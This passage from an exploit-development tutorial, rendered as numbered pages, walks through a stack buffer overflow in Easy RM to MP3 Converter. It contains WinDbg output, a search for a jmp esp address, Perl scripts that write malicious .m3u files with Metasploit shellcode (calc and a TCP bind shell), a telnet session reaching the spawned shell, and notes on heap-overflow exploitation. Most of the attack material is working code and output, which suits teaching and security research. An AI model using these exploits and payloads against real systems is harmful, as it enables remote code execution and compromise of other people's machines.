  • 113. 112 | P a g e eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.DLL>+0xff71f: 000ff730 0000 add byte ptr [eax],al ds:0023:00000001=?? 0:000> d ESP 000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ...... 000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA 000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA So jumping directly to a memory address may not be a good solution after all. (000ff730 contains a null byte, which is a string terminator… so the A’s you are seeing are coming from the first part of the buffer… We never reached the point where we started writing our data after overwrite EIP… Besides, using a memory address to jump to in an exploit would make the exploit very unreliable. After all, this memory address could be different in other OS versions, languages, etc…) Long story short: we cannot just overwrite EIP with a direct memory address such as 000ff730. It’s not a good idea because it would not be reliable, and it’s not a good idea because it contains a null byte. We have to use another technique to achieve the same goal: make the application jump to our own provided code. Ideally, we should be able to reference a register (or an offset to a register), ESP in our case, and find a function that will jump to that register. Then we will try to overwrite EIP with the address of that function and it should be time for pancakes and ice- cream. Jump to the shellcode in a reliable way We have managed to put our shellcode exactly where ESP points at (or, if you look at it from a different angle, ESP points directly at the beginning of our shellcode). If that would not have been the case, we would have looked to the contents of other register addresses and hope to find our buffer back. Anyways, in this particular example, we can use ESP. The reasoning behind overwriting EIP with the address of ESP was that we want the application to jump to ESP and run the shellcode.
  • 114. 113 | P a g e Jumping to ESP is a very common thing in windows applications. In fact, Windows applications use one or more DLL’s, and these DLL’s contains lots of code instructions. Furthermore, the addresses used by these DLL’s are pretty static. So if we could find a DLL that contains the instruction to jump to ESP, and if we could overwrite EIP with the address of that instruction in that DLL, then it should work, right? Let’s see. First of all, we need to figure out what the opcodes for “jmp esp” is. We can do this by Launching Easy RM to MP3, then opening Windbg and hook Windbg to the Easy RM to MP3 application. (Just connect it to the process, don’t do anything in Easy RM to MP3). This gives us the advantage that Windbg will see all DLL’s/modules that are loaded by the application. (It will become clear why I mentioned this) Upon attaching the debugger to the process, the application will break. In the windbg command line, at the bottom of the screen, enter a (assemble) and press return Now enter jmp esp and press return Press return again. Now enter u (unassemble) followed by the address that was shown before entering jmp esp 0:014> u 7c90120e ntdll!DbgBreakPoint:
  • 115. 114 | P a g e 7c90120e ffe4 jmp esp 7c901210 8bff mov edi,edi ntdll!DbgUserBreakPoint: 7c901212 cc int 3 7c901213 c3 ret 7c901214 8bff mov edi,edi 7c901216 8b442404 mov eax,dword ptr [esp+4] 7c90121a cc int 3 7c90121b c20400 ret 4 Next to 7c90120e, you can see ffe4. This is the opcodes for jmp ESP Now we need to find this opcodes in one of the loaded DLL’s. Look at the top of the Windbg window, and look for lines that indicate DLL’s that belong to the Easy RM to MP3 application: Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** Wait with pending attach Symbol search path is: *** Invalid *** **************************************************************************** * Symbol loading may be unreliable without a symbol search path. * * Use .symfix to have the debugger choose a symbol path. * * After setting your symbol path, use .reload to refresh symbol locations. * **************************************************************************** Executable search path is: ModLoad: 00400000 004be000 C:Program FilesEasy RM to MP3 ConverterRM2MP3Converter.exe ModLoad: 7c900000 7c9b2000 C:WINDOWSsystem32ntdll.DLL ModLoad: 7c800000 7c8f6000 C:WINDOWSsystem32kernel32.DLL ModLoad: 78050000 78120000 C:WINDOWSsystem32WININET.DLL ModLoad: 77c10000 77c68000 C:WINDOWSsystem32msvcrt.DLL ModLoad: 77f60000 77fd6000 C:WINDOWSsystem32SHLWAPI.DLL ModLoad: 77dd0000 77e6b000 C:WINDOWSsystem32ADVAPI32.DLL ModLoad: 77e70000 77f02000 C:WINDOWSsystem32RPCRT4.DLL ModLoad: 77fe0000 77ff1000 C:WINDOWSsystem32Secur32.DLL ModLoad: 77f10000 77f59000 C:WINDOWSsystem32GDI32.DLL ModLoad: 7e410000 7e4a1000 C:WINDOWSsystem32USER32.DLL ModLoad: 00330000 00339000 C:WINDOWSsystem32Normaliz.DLL ModLoad: 78000000 78045000 C:WINDOWSsystem32iertutil.DLL ModLoad: 77c00000 77c08000 C:WINDOWSsystem32VERSION.DLL ModLoad: 73dd0000 73ece000 C:WINDOWSsystem32MFC42.DLL ModLoad: 763b0000 763f9000 C:WINDOWSsystem32comdlg32.DLL ModLoad: 5d090000 5d12a000 C:WINDOWSsystem32COMCTL32.DLL ModLoad: 7c9c0000 7d1d7000 C:WINDOWSsystem32SHELL32.DLL
  • 116. 115 | P a g e ModLoad: 76080000 760e5000 C:WINDOWSsystem32MSVCP60.DLL ModLoad: 76b40000 76b6d000 C:WINDOWSsystem32WINMM.DLL ModLoad: 76390000 763ad000 C:WINDOWSsystem32IMM32.DLL ModLoad: 773d0000 774d3000 C:WINDOWSWinSxSx86_Microsoft.Windows.Common- Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83comctl32.DLL ModLoad: 74720000 7476c000 C:WINDOWSsystem32MSCTF.DLL ModLoad: 755c0000 755ee000 C:WINDOWSsystem32msctfime.ime ModLoad: 774e0000 7761d000 C:WINDOWSsystem32ole32.DLL ModLoad: 10000000 10071000 C:Program FilesEasy RM to MP3 ConverterMSRMfilter03.DLL ModLoad: 71ab0000 71ac7000 C:WINDOWSsystem32WS2_32.DLL ModLoad: 71aa0000 71aa8000 C:WINDOWSsystem32WS2HELP.DLL ModLoad: 00ce0000 00d7f000 C:Program FilesEasy RM to MP3 ConverterMSRMfilter01.DLL ModLoad: 01a90000 01b01000 C:Program FilesEasy RM to MP3 ConverterMSRMCcodec00.DLL ModLoad: 00c80000 00c87000 C:Program FilesEasy RM to MP3 ConverterMSRMCcodec01.DLL ModLoad: 01b10000 01fdd000 C:Program FilesEasy RM to MP3 ConverterMSRMCcodec02.DLL ModLoad: 01fe0000 01ff1000 C:WINDOWSsystem32MSVCIRT.DLL ModLoad: 77120000 771ab000 C:WINDOWSsystem32OLEAUT32.DLL If we can find the opcode in one of these DLL’s, then we have a good chance of making the exploit work reliably across windows platforms. If we need to use a DLL that belongs to the OS, then we might find that the exploit does not work for other versions of the OS. So let’s search the area of one of the Easy RM to MP3 DLL’s first. We’ll look in the area of C:Program FilesEasy RM to MP3 ConverterMSRMCcodec02.DLL. This DLL is loaded between 01b10000 and 01fd000. Search this area for ff e4: 0:014> s 01b10000 l 01fdd000 ff e4 01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$....... 01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T...... 01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... .......... 01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]....".. 01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J& 01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0... 01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb .......y....... 01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T. 01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P 0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........
  • 117. 116 | P a g e 0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............ Excellent, we should not expect otherwise… jmp ESP is a pretty common instruction). When selecting an address, it is important to look for null bytes. You should try to avoid using addresses with null bytes (especially if you need to use the buffer data that comes after the EIP overwrite. The null byte would become a string terminator and the rest of the buffer data will become unusable). Another good area to search for opcodes is “s 70000000 l fffffff ff e4” (which would typically give results from windows DLL’s) Note: there are other ways to get opcode addresses:  findjmp (from Ryan Permeh) : compile findjmp.c and run with the following parameters : Findjmp <DLLfile> <register>. Suppose you want to look for jumps to esp in kernel32.DLL, run “findjmp kernel32.DLL esp” On Vista SP2, you should get something like this: Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning kernel32.DLL for code useable with the ESP register 0x773AF74B call ESP Finished Scanning kernel32.DLL for code useable with the ESP register Found 1 usable addresses  The MetaSploit opcode database  memdump (see one of the next tutorial posts  pvefindaddr, a plugin for Immunity Debugger. In fact, this one is highly recommended because it will automatically filter unreliable pointers. Since we want to put our shellcode in ESP (which is placed in our payload string after overwriting EIP), the jmp esp address from the list must not have null bytes. If this address would have null bytes, we would overwrite EIP with an address that contains null bytes. Null byte acts as a string terminator, so everything that follows would be ignored. In some cases, it would be ok to have an address that starts with a null byte. If the address starts with a null byte, because of little endian, the null byte would be the last byte in the EIP register. And if you are not sending any payload after overwrite EIP (so if the shellcode is fed before overwriting EIP, and it is still reachable via a register), then this will work. Anyways, we will use the payload after overwriting EIP to host our shellcode, so the address should not contain null bytes. The first address will do: 0x01ccf23a Verify that this address contains the jmp esp (so unassemble the instruction at 01ccf23a): 0:014> u 01ccf23a MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea: 01ccf23a ffe4 jmp esp
  • 118. 117 | P a g e 01ccf23c ff8d4e10c744 dec dword ptr <Unloaded_POOL.DRV>+0x44c7104d (44c7104e)[ebp] 01ccf242 2410 and al,10h 01ccf244 ff ??? 01ccf245 ff ??? 01ccf246 ff ??? 01ccf247 ff ??? 01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140) If we now overwrite EIP with 0x01ccf23a, a jmp ESP will be executed. ESP contains our shellcode… so we should now have a working exploit. Let’s test with our “NOP & break” shellcode. Close Windbg. Create a new m3u file using the script below: my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ccf23a); my $shellcode = "x90" x 25; $shellcode = $shellcode."xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug $shellcode = $shellcode."x90" x 25; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfullyn"; (21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!) eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.DLL>+0xff734: 000ff745 cc int 3 0:000> d ESP 000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................ 000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................ 000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  • 119. 118 | P a g e 000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Run the application again, attach Windbg, press "g" to continue to run, and open the new m3u file in the application. The application now breaks at address 000ff745, which is the location of our first break. So the jmp esp worked fine (esp started at 000ff730, but it contains NOPs all the way up to 000ff744). All we need to do now is put in our real shellcode and finalize the exploit. Close Windbg again. Get shellcode and finalize the exploit MetaSploit has a nice payload generator that will help you building shellcode. Payloads come with various options, and (depending on what they need to do), can be small or very large. If you have a size limitation in terms of buffer space, then you might even want to look at multi- staged shellcode, or using specifically handcrafted shellcodes such as this one (32byte cmd.exe shellcode for xp sp2 en). Alternatively, you can split up your shellcode in smaller ‘eggs’ and use a technique called ‘egg-hunting’ to reassemble the shellcode before executing it. Let’s say we want calc to be executed as our exploit payload, and then the shellcode could look like this: # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . "x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30" . "x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa" . "x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96" . "x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b" . "xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a" . "xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83" . "x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98" . "xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61" . "xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05" . "x7fxe8x7bxca"; Finalize the perl script, and try it out: # # Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 # Greetings to Saumil and SK :-) #
  • 120. 119 | P a g e # tested on Windows XP SP3 (En) # # # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL my $shellcode = "x90" x 25; # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc $shellcode = $shellcode . "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . "x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30" . "x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa" . "x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96" . "x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b" . "xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a" . "xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83" . "x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98" . "xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61" . "xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05" . "x7fxe8x7bxca"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfullyn"; First, turn off the autopopup registry setting to prevent the debugger from taking over. Create the m3u file, open it and watch the application dies (and calc should be opened as well). Boom! We have our first working exploit!
  • 121. 120 | P a g e You may have noticed that I kept 25 nops (0×90) before the shellcode. Don’t worry about it too much right now. We will continue to learn about exploitation (and when you reach the chapter about writing shellcode), you will learn why this may be required. What if you want to do something else than launching calc? You could create other shellcode and replace the “launch calc” shellcode with your new shellcode, but this code may not run well because the shellcode may be bigger, memory locations may be different, and longer shellcode increases the risk on invalid characters in the shellcode, which need to be filtered out. Let’s say we want the exploit bind to a port so a remote hacker could connect and get a command line. This shellcode may look like this: # windows/shell_bind_tcp - 344 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, LPORT=5555, RHOST= "x31xc9xbfxd3xc0x5cx46xdbxc0xd9x74x24xf4x5d" . "xb1x50x83xedxfcx31x7dx0dx03x7dxdex22xa9xba" . "x8ax49x1fxabxb3x71x5fxd4x23x05xccx0fx87x92" . "x48x6cx4cxd8x57xf4x53xcexd3x4bx4bx9bxbbx73" . "x6ax70x0axffx58x0dx8cx11x91xd1x16x41x55x11" . "x5cx9dx94x58x90xa0xd4xb6x5fx99x8cx6cx88xab" . "xc9xe6x97x77x10x12x41xf3x1exafx05x5cx02x2e" . "xf1x60x16xbbx8cx0bx42xa7xefx10xbbx0cx8bx1d" . "xf8x82xdfx62xf2x69xafx7exa7xe5x10x77xe9x91" .
  • 122. 121 | P a g e "x1exc9x1bx8ex4fx29xf5x28x23xb3x91x87xf1x53" . "x16x9bxc7xfcx8cxa4xf8x6bxe7xb6x05x50xa7xb7" . "x20xf8xcexadxabx86x3dx25x36xdcxd7x34xc9x0e" . "x4fxe0x3cx5ax22x45xc0x72x6fx39x6dx28xdcxfe" . "xc2x8dxb1xffx35x77x5dx15x05x1excex9cx88x4a" . "x98x3ax50x05x9fx14x9ax33x75x8bx35xe9x76x7b" . "xddxb5x25x52xf7xe1xcax7dx54x5bxcbx52x33x86" . "x7axd5x8dx1fx83x0fx5dxf4x2fxe5xa1x24x5cx6d" . "xb9xbcxa4x17x12xc0xfexbdx63xeex98x57xf8x69" . "x0cxcbx6dxffx29x61x3exa6x98xbax37xbfxb0x06" . "xc1xa2x75x47x22x88x8bx05xe8x33x31xa6x61x46" . "xcfx8ex2exf2x84x87x42xfbx69x41x5cx76xc9x91" . "x74x22x86x3fx28x84x79xaaxcbx77x28x7fx9dx88" . "x1ax17xb0xaex9fx26x99xafx49xdcxe1xafx42xde" . "xcexdbxfbxdcx6cx1fx67xe2xa5xf2x98xccx22x03" . "xecxe9xedxb0x0fx27xeexe7"; As you can see, this shellcode is 344 bytes long (and launching calc only took 144 bytes). If you just copy & paste this shellcode, you may see that the vulnerable application does not even crash anymore. This – most likely – indicates either a problem with the shellcode buffer size (but you can test the buffer size, you’ll notice that this is not the issue), or we are faced with invalid characters in the shellcode. You can exclude invalid characters when building the shellcode with MetaSploit, but you’ll have to know which characters are allowed and which aren’t. By default, null bytes are restricted (because they will break the exploit for sure), but what are the other characters? The m3u file probably should contain filenames. So a good start would be to filter out all characters that are not allowed in filenames and file paths. You could also restrict the character set altogether by using another decoder. We have used shikata_ga_nai, but perhaps alpha_upper will work better for filenames. Using another encoded will most likely increase the shellcode length, but we have already seen (or we can simulate) that size is not a big issue. Let’s try building a TCP shell bind, using the alpha_upper encoder. We’ll bind a shell to local port 4444. The new shellcode is 703 bytes. # windows/shell_bind_tcp - 703 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST=
  • 123. 122 | P a g e "x89xe1xdbxd4xd9x71xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx42" . "x4ax4ax4bx50x4dx4bx58x4cx39x4bx4fx4bx4fx4b" . "x4fx43x50x4cx4bx42x4cx51x34x51x34x4cx4bx47" . "x35x47x4cx4cx4bx43x4cx44x45x44x38x45x51x4a" . "x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x43" . "x31x4ax4bx50x49x4cx4bx46x54x4cx4bx43x31x4a" . "x4ex46x51x49x50x4ax39x4ex4cx4dx54x49x50x44" . "x34x45x57x49x51x49x5ax44x4dx43x31x49x52x4a" . "x4bx4ax54x47x4bx51x44x51x34x47x58x44x35x4a" . "x45x4cx4bx51x4fx47x54x43x31x4ax4bx45x36x4c" . "x4bx44x4cx50x4bx4cx4bx51x4fx45x4cx45x51x4a" . "x4bx44x43x46x4cx4cx4bx4dx59x42x4cx46x44x45" . "x4cx43x51x48x43x46x51x49x4bx45x34x4cx4bx50" . "x43x50x30x4cx4bx51x50x44x4cx4cx4bx42x50x45" . "x4cx4ex4dx4cx4bx51x50x45x58x51x4ex43x58x4c" . "x4ex50x4ex44x4ex4ax4cx50x50x4bx4fx48x56x43" . "x56x50x53x45x36x45x38x50x33x50x32x42x48x43" . <...> "x50x41x41"; Let’s use this shellcode. The new exploit looks like this : P.S. I have manually broken the shellcode shown here. So if you copy & paste the exploit it will not work. But you should know by now how to make a working exploit. # # Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy Hacker # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 # Greetings to Saumil and SK :-) # # tested on Windows XP SP3 (En) # # # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.DLL my $shellcode = "x90" x 25; # windows/shell_bind_tcp - 703 bytes
  • 124. 123 | P a g e # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= $shellcode=$shellcode."x89xe1xdbxd4xd9x71xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x00x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx42" . "x4ax4ax4bx50x4dx4bx58x4cx39x4bx4fx4bx4fx4b" . "x4fx43x50x4cx4bx42x4cx51x34x51x34x4cx4bx47" . "x35x47x4cx4cx4bx43x4cx44x45x44x38x45x51x4a" . "x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x43" . "x31x4ax4bx50x49x4cx4bx46x54x4cx4bx43x31x4a" . "x4ex46x51x49x50x4ax39x4ex4cx4dx54x49x50x44" . "x34x45x57x49x51x49x5ax44x4dx43x31x49x52x4a" . "x4bx4ax54x47x4bx51x44x51x34x47x58x44x35x4a" . "x45x4cx4bx51x4fx47x54x43x31x4ax4bx45x36x4c" . "x4bx44x4cx50x4bx4cx4bx51x4fx45x4cx45x51x4a" . "x4bx44x43x46x4cx4cx4bx4dx59x42x4cx46x44x45" . "x4cx43x51x48x43x46x51x49x4bx45x34x4cx4bx50" . "x43x50x30x4cx4bx51x50x44x4cx4cx4bx42x50x45" . "x4cx4ex4dx4cx4bx51x50x45x58x51x4ex43x58x4c" . "x4ex50x4ex44x4ex4ax4cx50x50x4bx4fx48x56x43" . "x56x50x53x45x36x45x38x50x33x50x32x42x48x43" . "x47x43x43x47x42x51x4fx50x54x4bx4fx48x50x42" . "x48x48x4bx4ax4dx4bx4cx47x4bx50x50x4bx4fx48" . "x56x51x4fx4dx59x4dx35x45x36x4bx31x4ax4dx43" . "x38x43x32x46x35x43x5ax44x42x4bx4fx4ex30x42" . "x48x48x59x45x59x4cx35x4ex4dx50x57x4bx4fx48" . "x56x46x33x46x33x46x33x50x53x50x53x50x43x51" . "x43x51x53x46x33x4bx4fx4ex30x43x56x45x38x42" . "x31x51x4cx42x46x46x33x4cx49x4dx31x4ax35x42" . "x48x4ex44x44x5ax44x30x49x57x50x57x4bx4fx48" . "x56x43x5ax44x50x50x51x51x45x4bx4fx4ex30x43" . "x58x49x34x4ex4dx46x4ex4bx59x50x57x4bx4fx4e" . "x36x50x53x46x35x4bx4fx4ex30x42x48x4dx35x50" . "x49x4dx56x50x49x51x47x4bx4fx48x56x50x50x50" . "x54x50x54x46x35x4bx4fx48x50x4ax33x45x38x4a" . "x47x44x39x48x46x43x49x50x57x4bx4fx48x56x50" . "x55x4bx4fx48x50x42x46x42x4ax42x44x45x36x45" . "x38x45x33x42x4dx4dx59x4bx55x42x4ax46x30x50" . "x59x47x59x48x4cx4bx39x4ax47x43x5ax50x44x4b" . "x39x4bx52x46x51x49x50x4cx33x4ex4ax4bx4ex47" . "x32x46x4dx4bx4ex51x52x46x4cx4dx43x4cx4dx42" . "x5ax50x38x4ex4bx4ex4bx4ex4bx43x58x42x52x4b" .
  • 125. 124 | P a g e "x4ex4ex53x42x36x4bx4fx43x45x51x54x4bx4fx49" . "x46x51x4bx46x37x46x32x50x51x50x51x46x31x42" . "x4ax45x51x46x31x46x31x51x45x50x51x4bx4fx48" . "x50x43x58x4ex4dx4ex39x45x55x48x4ex51x43x4b" . "x4fx49x46x43x5ax4bx4fx4bx4fx47x47x4bx4fx48" . "x50x4cx4bx46x37x4bx4cx4cx43x49x54x45x34x4b" . "x4fx4ex36x50x52x4bx4fx48x50x43x58x4cx30x4c" . "x4ax44x44x51x4fx46x33x4bx4fx48x56x4bx4fx48" . "x50x41x41"; open($FILE,">$file"); print $FILE $junk.$eip.$shellcode; close($FILE); print "m3u File Created successfullyn"; Create the m3u file, open it in the application. Easy RM to MP3 now seems to hang : Telnet to this host on port 4444: root@bt:/# telnet 192.168.0.197 4444 Trying 192.168.0.197... Connected to 192.168.0.197. Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:Program FilesEasy RM to MP3 Converter> Pat boom! Now go out and build your own exploits. Don’t forget to make yourself some nice ASCII art, get a l33t name  Heap Overflows Most developers are aware of the dangers of stack based buffer overflows but too many still believe that if a heap based buffer is overflowed it’s not too much of a problem.
  • 126. 125 | P a g e One paper on secure coding suggested that to solve the problem of stack based overflows was to move the buffer to the heap! The heap is an area of memory used for storage of dynamic data. Every process has a default process heap but a developer can create their own private heaps. Space is allocated from the heap and freed when finished with. Each heap starts with a structure. This structure, amongst other data, contains an array of 128 LIST_ENTRY structures. Each LIST_ENTRY structure contains two pointers – see winnt.h. This array can be found at 0x178 bytes into the heap structure – call it the FreeList array. When a heap is first created there are two pointers that point to the first free block set in FreeList[0]. Assuming the heap base address is 0x00350000 then first available block can be found at 0x00350688. 0x00350178 (FreeList[0].Flink) = 0x00350688 (First Free Block) 0x0035017C (FreeList[0].Blink) = 0x00350688 (First Free Block) 0x00350688 (First Free Block) = 0x00350178 (FreeList[0]) 0x0035068C (First Free Block+4) = 0x00350178 (FreeList[0]) When an allocation occurs these pointers are updated accordingly. As more allocations and frees occur these pointers are continually updated and in this fashion allocated blocks are tracked in a doubly linked list. When a heap based buffer is overflowed the control information is overwritten so when the buffer (allocated block) is freed and it comes to updating the pointers in the FreeList array there’s going to be an access violation. Access violation 77F6256F mov dword ptr [ecx],eax 77F62571 mov dword ptr [eax+4],ecx
  • 127. 126 | P a g e EAX = 0x42424242 ECX = 0x42424242 If we own both EAX and ECX we have an arbitrary DWORD overwrite. We can overwrite the data at any 32bit address with a 32bit value of our choosing. Exploiting Heap Overflows Repairing the Heap After the overflow the heap is corrupt so you’ll need to repair the heap. Many of the Windows API calls use the default process heap and if this is corrupt the exploit will access violate. Could repair on a per vulnerability/exploit basis. Time consuming and could run into problems. Need a generic way to repair the heap which is effective for all exploits. Write it once and reuse it. The best method for repairing the heap is to reset the heap making it “appear” as if it is a fresh new heap. This will keep other heap data intact but allow fresh allocations. We reset our overflow heap control structure with heap.TotalFreeSize and set the flags to 0x14 then set heap.FreeLists[0].Flink and heap.FreeLists[0].Blink to the start of the fake control structure. See code listing B – asm-repair-heap. Unhandled Exception Filter The Unhandled Exception Filter method is the most common method used. The UEF is the “last ditch effort” exception handler. Location varies from OS to OS and SP to SP. Disassemble the SetUnhandledExceptionFilter function. 77E7E5A1 mov ecx,dword ptr [esp+4] 77E7E5A5 mov eax,[77ED73B4] 77E7E5AA mov dword ptr ds:[77ED73B4h],ecx
  • 128. 127 | P a g e 77E7E5B0 ret 4 UEF = 0x77ED73B4 When an unhandled exception occurs the following block of code is executed: 77E93114 mov eax,[77ED73B4] 77E93119 cmp eax,esi 77E9311B je 77E93132 77E9311D push edi *** 77E9311E call eax Essence of the method is to set our own Unhandled Exception Filter. EDI was pushed onto the stack. 0x78 bytes past EDI is a pointer to the end of the buffer – just before the heap management control stuff. Set the UEF to an address that points to a CALL DWORD PTR [EDI + 0x78] Many can be found in netapi32.dll, user32.dll, rpcrt4.dll for example. Notes: Other Operating Systems may not use EDI. Windows 2000 for example has a pointer at ESI+0x4C and EBP+0x74. Using this method you need to know the target system – i.e. what OS and what SP level. Vectored Exception Handling Vectored Exception Handling is new as of Windows XP. Unlike traditional frame based exception handling where EXCEPTION_REGISTRATION structures are stored on the stack information about VEH is stored on the heap. A pointer to the first Vectored Exception Handler is stored at 0x77FC3210. Points to a _VECTORED_EXCEPTION_NODE. struct _VECTORED_EXCEPTION_NODE { DWORD m_pNextNode; DWORD m_pPreviousNode; PVOID m_pfnVectoredHandler; }
